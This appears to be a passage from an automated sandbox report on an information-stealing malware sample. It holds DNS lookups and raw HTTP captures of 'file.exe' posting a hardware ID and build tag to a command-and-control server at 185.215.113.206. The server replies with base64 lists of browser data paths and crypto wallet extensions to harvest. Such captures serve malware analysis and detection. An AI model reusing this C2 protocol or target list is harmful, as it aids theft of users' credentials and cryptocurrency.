Nov 26, 2024 08:03:34.086179972 CET	1.1.1.1	192.168.2.8	0xa89e	No error (0)	b-0005.b-dc-msedge.net		13.107.9.158	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:34.118205070 CET	1.1.1.1	192.168.2.8	0xf7d9	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:34.355091095 CET	1.1.1.1	192.168.2.8	0xff68	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:34.355091095 CET	1.1.1.1	192.168.2.8	0xff68	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:34.403765917 CET	1.1.1.1	192.168.2.8	0x67fd	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:36.507833958 CET	1.1.1.1	192.168.2.8	0x89d3	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:36.508805990 CET	1.1.1.1	192.168.2.8	0x3e95	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:37.410038948 CET	1.1.1.1	192.168.2.8	0x5d1b	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:37.410038948 CET	1.1.1.1	192.168.2.8	0x5d1b	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.97	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:37.412942886 CET	1.1.1.1	192.168.2.8	0xa3d4	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:38.302078009 CET	1.1.1.1	192.168.2.8	0xde05	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:38.302078009 CET	1.1.1.1	192.168.2.8	0xde05	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:38.302181959 CET	1.1.1.1	192.168.2.8	0xb5fc	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 08:03:38.303292990 CET	1.1.1.1	192.168.2.8	0xcac8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:38.303292990 CET	1.1.1.1	192.168.2.8	0xcac8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:38.305454969 CET	1.1.1.1	192.168.2.8	0x4ab	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 08:03:38.313536882 CET	1.1.1.1	192.168.2.8	0xc925	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:38.313536882 CET	1.1.1.1	192.168.2.8	0xc925	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:38.313867092 CET	1.1.1.1	192.168.2.8	0x98eb	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 08:03:39.377996922 CET	1.1.1.1	192.168.2.8	0x5020	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:39.377996922 CET	1.1.1.1	192.168.2.8	0x5020	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:39.377996922 CET	1.1.1.1	192.168.2.8	0x5020	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:39.377996922 CET	1.1.1.1	192.168.2.8	0x5020	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:39.386738062 CET	1.1.1.1	192.168.2.8	0x3d6c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:39.386845112 CET	1.1.1.1	192.168.2.8	0x7182	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:39.520545006 CET	1.1.1.1	192.168.2.8	0xce15	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:39.520565987 CET	1.1.1.1	192.168.2.8	0xa011	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:39.664107084 CET	1.1.1.1	192.168.2.8	0x1dd5	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:39.664155006 CET	1.1.1.1	192.168.2.8	0x38f5	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:41.117763996 CET	1.1.1.1	192.168.2.8	0xeaa9	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:41.117763996 CET	1.1.1.1	192.168.2.8	0xeaa9	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:42.126220942 CET	1.1.1.1	192.168.2.8	0x6c5	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:42.126220942 CET	1.1.1.1	192.168.2.8	0x6c5	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:44.152549982 CET	1.1.1.1	192.168.2.8	0x9878	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:44.152549982 CET	1.1.1.1	192.168.2.8	0x9878	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:45.165282011 CET	1.1.1.1	192.168.2.8	0x9878	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:45.165282011 CET	1.1.1.1	192.168.2.8	0x9878	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:46.178982019 CET	1.1.1.1	192.168.2.8	0x9878	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:46.178982019 CET	1.1.1.1	192.168.2.8	0x9878	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:48.181384087 CET	1.1.1.1	192.168.2.8	0x9878	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:48.181384087 CET	1.1.1.1	192.168.2.8	0x9878	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:03:52.187936068 CET	1.1.1.1	192.168.2.8	0x9878	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:03:52.187936068 CET	1.1.1.1	192.168.2.8	0x9878	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	185.215.113.206	80	2156	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:03:13.399106026 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 08:03:14.821238041 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 08:03:14.824135065 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFHDBFIDAECAAAKEGDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 37 45 45 32 34 34 38 46 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 2d 2d 0d 0a Data Ascii: ------AKFHDBFIDAECAAAKEGDAContent-Disposition: form-data; name="hwid"E67EE2448F9B3566182515------AKFHDBFIDAECAAAKEGDAContent-Disposition: form-data; name="build"mars------AKFHDBFIDAECAAAKEGDA--
Nov 26, 2024 08:03:15.292404890 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 47 45 7a 4e 47 4d 77 59 54 52 6d 4e 44 5a 69 4e 47 59 77 4d 54 6b 30 5a 6a 67 79 4e 57 52 68 5a 44 67 30 4d 7a 55 34 4d 54 52 6b 4e 6a 4a 6a 4f 57 45 78 4e 44 4d 77 4d 57 46 69 5a 57 4e 68 4e 44 55 34 59 6a 67 34 4e 54 4d 79 59 54 52 6b 4e 6d 5a 6a 5a 6a 59 7a 59 54 67 77 4f 44 46 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MGEzNGMwYTRmNDZiNGYwMTk0ZjgyNWRhZDg0MzU4MTRkNjJjOWExNDMwMWFiZWNhNDU4Yjg4NTMyYTRkNmZjZjYzYTgwODFhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 26, 2024 08:03:15.293538094 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="message"browsers------ECGDAAFIIJDAAAAKFHID--
Nov 26, 2024 08:03:15.751013994 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 26, 2024 08:03:15.751153946 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 26, 2024 08:03:15.961155891 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 26, 2024 08:03:15.962668896 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDHDBKEBGHJJJJKEHD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="message"plugins------JKJDHDBKEBGHJJJJKEHD--
Nov 26, 2024 08:03:16.420152903 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 26, 2024 08:03:16.420176029 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 26, 2024 08:03:16.420182943 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 26, 2024 08:03:16.420327902 CET	372	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 26, 2024 08:03:16.420334101 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Nov 26, 2024 08:03:16.420346975 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
